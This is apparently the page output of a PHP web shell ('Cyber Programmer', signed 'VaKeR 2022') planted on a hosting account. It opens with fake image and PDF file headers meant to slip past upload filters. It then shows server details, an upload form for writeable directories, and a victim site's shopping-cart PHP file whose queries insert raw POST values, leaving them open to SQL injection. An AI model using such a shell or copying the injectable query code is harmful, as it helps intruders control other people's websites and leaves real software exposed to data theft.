%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/update-cart-ajax.php
<?php
include('dbcon.php');

$id = $_POST['id'];
$action = $_POST['action'];

if ($action == "plus") {
    $conn->query("UPDATE cart_items SET quantity = quantity + 1 WHERE id = '$id'");
} else {
    $conn->query("UPDATE cart_items SET quantity = IF(quantity > 1, quantity - 1, 1) WHERE id = '$id'");
}

$result = $conn->query("
    SELECT ci.quantity, p.price 
    FROM cart_items ci 
    JOIN areawecover p ON ci.product_id = p.id 
    WHERE ci.id = '$id'
");

$row = $result->fetch_assoc();
$total = $row['quantity'] * $row['price'];

echo json_encode([
    "quantity" => $row['quantity'],
    "total" => number_format($total,2)
]);

VaKeR 2022